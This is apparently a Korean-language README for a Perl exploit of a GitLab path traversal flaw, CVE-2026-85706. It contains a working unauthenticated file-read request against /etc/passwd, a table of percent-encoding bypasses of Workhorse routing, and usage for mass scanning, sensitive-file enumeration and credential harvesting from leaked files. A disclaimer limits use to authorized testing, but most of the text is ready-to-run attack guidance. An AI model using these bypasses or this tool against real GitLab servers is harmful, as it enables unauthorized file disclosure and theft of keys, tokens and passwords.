
CVE-2026-85706을 익스플로잇하는 Perl PoC로, 인증 없이 GitLab 경로 순회를 통해 임의 파일 읽기를 가능하게 하며, 대량 스캔과 자격 증명 수집 기능을 제공합니다.
승인된 침투 테스트 및 Red Team 작전 전용입니다.
무단 사용은 형사 범죄에 해당합니다. 법적 고지를 참조하십시오.
CVE-2026-85706은 GitLab Community 및 Enterprise Edition의 CVSS 10.0 경로 순회(path traversal) 취약점으로, 완전히 인증되지 않은 공격자가 단일 HTTP 요청으로 서버 파일시스템에서 임의 파일을 읽을 수 있게 합니다. 자격 증명도, 토큰도, 사용자 상호작용도 필요하지 않습니다.
| 브랜치 | 취약 범위 | 수정 버전 |
|---|---|---|
| 18.x | 18.7 → 19.1.7 | 19.1.8 |
| 19.2 | 19.2.0 → 19.2.5 | 19.2.6 |
| 19.3 | 19.3.0 → 19.3.1 | 19.3.2 |
GitLab의 HTTP 스택은 세 개의 계층으로 구성됩니다:
Internet → [Nginx] → [Workhorse (Go)] → [Puma (Ruby/Rack)] → [Rails/Grape API]
Workhorse는 스마트 리버스 프록시 역할을 합니다. 특정 "업로드" 엔드포인트(저장소 커밋, 파일 작업)의 경우, 멀티파트 요청 본문을 읽고 파일 데이터를 디스크에 저장한 뒤, 요청을 Puma로 전달하기 전에 재작성합니다. 결정적으로, 프록시하는 모든 요청에 JWT 헤더(Gitlab-Workhorse-Api-Request)를 첨부합니다. 그런 다음 Rails는 핸들러 로직을 실행하기 전에 이 JWT를 검증합니다(require_gitlab_workhorse!를 통해).
계층 1 — Workhorse 라우트 매칭:
Workhorse는 원시 퍼센트 인코딩된 바이트 문자열에 대해 동작하는 컴파일된 정규식을 사용하여 요청 경로를 매칭합니다. 매칭 전에 %XX 시퀀스를 디코딩하지 않습니다.
계층 2 — Puma/Rack 라우팅:
Puma는 Grape가 요청을 라우팅하기 전에 %XX 시퀀스를 디코딩합니다. 따라서 /repository/%63ommits에 대한 요청은 /repository/commits로 디코딩되어 CommitsController로 라우팅됩니다.
계층 3 — 인증 전 파일 읽기:
Rails 핸들러에 도달하면(Workhorse가 요청을 매칭하지 못했기 때문에 Workhorse의 JWT 없이 도달함), 핸들러는 쿼리 문자열에서 params[:file][:path]를 읽고 다음을 호출합니다:
File.open(params[:file][:path]) # ← happens BEFORE authentication
정적 경로 세그먼트의 한 문자를 퍼센트 인코딩함으로써, 공격자의 요청은 Workhorse의 탐지를 회피합니다:
| 세그먼트 | 원본 | 우회 형식 | 인코딩된 문자 |
|---|---|---|---|
commits | commits | %63ommits | c → %63 |
commits | commits | %43ommits | C → %43 |
repository | repository | %72epository | r → %72 |
files | files | %66iles | f → %66 |
| (모두) | commits | commits/ | 후행 슬래시 |
| (모두) | commits | commits.json | Grape 접미사 |
파일이 열린 후, 콘텐츠는 Rack의 쿼리 문자열 파서를 통해 유출됩니다:
Rack::Utils.parse_nested_query(File.read(path))
파일에 %가 두 개의 유효한 16진수 숫자가 뒤따르지 않는 경우(Ruby 설정 파일, CI YAML, 로그 등에서 흔히 발생), Rack은 다음을 발생시킵니다:
InvalidParameterError: Invalid parameter: invalid %-encoding (<FILE_BYTES>)
이 400 응답 본문에는 문제가 되는 바이트까지의 원시 파일 내용이 포함되어 있어, 인증되지 않은 호출자에게 파일 내용이 노출됩니다.
악용 가능한 % 시퀀스가 없는 파일(예: 깨끗한 /etc/passwd)은 읽기 후 401 또는 매개변수 검증 오류를 반환합니다. 이는 파일 존재 오라클로 작동합니다(읽기는 여전히 인증 전에 수행됨).
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=%2Fetc%2Fpasswd&file.size=1&Content-Type=application%2Fx-www-form-urlencoded HTTP/1.1
Host: gitlab.corp.com
User-Agent: cve-2026-85706-perl-poc/1.0.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 0
| 기법 | ID | 이 PoC에서의 구현 |
|---|---|---|
| 파일 및 디렉터리 탐색 | T1083 | --scan 모드는 38개의 민감한 서버 경로를 탐색합니다 |
| 파일 내 자격 증명 | T1552.001 | --harvest는 유출된 콘텐츠에서 키/토큰/비밀번호를 추출합니다 |
| 모듈 | 패키지 | 역할 |
|---|---|---|
LWP::UserAgent | libwww-perl | HTTP 클라이언트 (필수) |
LWP::Protocol::https | libwww-perl | HTTPS 지원 (필수) |
URI::Escape | liburi-perl | 쿼리 문자열 인코딩 (필수) |
Term::ANSIColor | libterm-ansicolor-perl | 컬러 출력 (선택) |
JSON | libjson-perl | JSON 출력 모드 (선택) |
# Debian/Ubuntu
apt install libwww-perl liburi-perl libterm-ansicolor-perl libjson-perl
# RHEL/Fedora
sudo yum install perl-libwww-perl perl-URI perl-Term-ANSIColor perl-JSON
# CPAN
cpan LWP::UserAgent LWP::Protocol::https Term::ANSIColor JSON
# Make executable
chmod +x exploit.pl
Usage: exploit.pl [OPTIONS]
Target:
-u, --url <URL> GitLab base URL [default: http://localhost:8080]
-p, --project-id <ID> Numeric ID or namespace%2Fproject [default: 1]
Commits API forms: project must be anonymously accessible
Files API forms: any value works (file read precedes auth)
Exploitability check:
-c, --check Single-target check (quick by default — ≤9 requests)
--full Upgrade to full 4-stage sweep (27+ probes, all 22 forms)
-L, --check-host-list <FILE> Check multiple targets (one URL/host per line)
Add --full for the 4-stage sweep on every host
Single-file read:
-f, --file <PATH> Absolute server path to read (e.g. /etc/passwd)
Scan mode (T1083 — File and Directory Discovery):
-s, --scan Probe built-in sensitive-file wordlist (38 paths)
-w, --wordlist <FILE> Use a custom file list (one absolute path per line)
-H, --harvest Extract credentials from leaked content (T1552.001)
Output:
-o, --output <FILE> Tee all output to file
-j, --json Emit results as JSON array (requires JSON.pm)
-v, --verbose Print full request URL before each probe
--no-color Disable ANSI colour output
Connection:
-t, --timeout <N> Per-request timeout in seconds [default: 15]
-d, --delay <N> Delay between requests in seconds (float) [default: 0]
-r, --retries <N> Retry count on connection error [default: 2]
-A, --user-agent <STR> Override User-Agent string
| 빠른 검사 (기본값) | 전체 검사 (--full) | |
|---|---|---|
| 요청 수 | ≤9 (사전 확인 1회 + ≤4×2) | 27+ |
| 조기 종료 | 예 — 첫 번째 확인된 차이가 나오면 중단 | 아니요 — 22개 형식을 모두 검사 |
| 버전 정보 | 아니요 | 예 |
| 우회 형식 | 대표적인 Files API 4개 | 전체 22개 (Commits + Files API) |
| 적합한 용도 | 빠른 정찰, 대규모 호스트 목록 | 침투 테스트 보고서, --file/--scan 준비 |
빠른 검사 파이프라인:
GET /api/v4/version — 도달 가능성 + GitLab 힌트/etc/hostname + 고유 카나리 프로브canary → 'local file not present' ∧ hostname ≠ canary → 취약함 (즉시 종료)전체 검사 파이프라인 (--full):
--project-id와 검사 모드--project-id 플래그는 --check 및 --check-host-list를 포함한 모든 모드에서 사용할 수 있습니다. 상호작용에 대한 이해:
| 우회 그룹 | 형식 | 프로젝트 ID 의존성 |
|---|---|---|
Files API (%66iles, %46iles, re%70ository/files, …) | 14 | 없음 — CVE 설계상 파일 읽기가 프로젝트 확인보다 먼저 수행됩니다. 어떤 ID(존재하지 않는 ID라도)든 올바른 신호를 생성합니다. |
Commits API (%63ommits, %43ommits, repository/commits/, …) | 8 | 필수 — 프로젝트가 존재하고 익명으로 읽을 수 있어야 합니다. 그렇지 않으면 project-gate를 반환합니다. |
실용 지침:
--check (빠른 검사): Files API 형식만 사용 → 프로젝트 ID 무관.--check --full: 전체 22개 형식을 테스트합니다. 공개 프로젝트 ID를 알고 있다면 --project-id <N>을 전달하여 Commits API 형식도 확인하세요.--check-host-list: 단일 --project-id가 모든 호스트에서 공개 프로젝트에 매핑되는 경우는 드뭅니다. 생략하세요.# Quick check — ≤9 requests, binary verdict
./exploit.pl -u https://gitlab.corp.com --check
# Quick check with known public project (extends Commits API coverage in --full mode)
./exploit.pl -u https://gitlab.corp.com --check --project-id 5 # (default: --project-id 1)
# Full 4-stage check — version + all 22 bypass forms enumerated
./exploit.pl -u https://gitlab.corp.com --check --full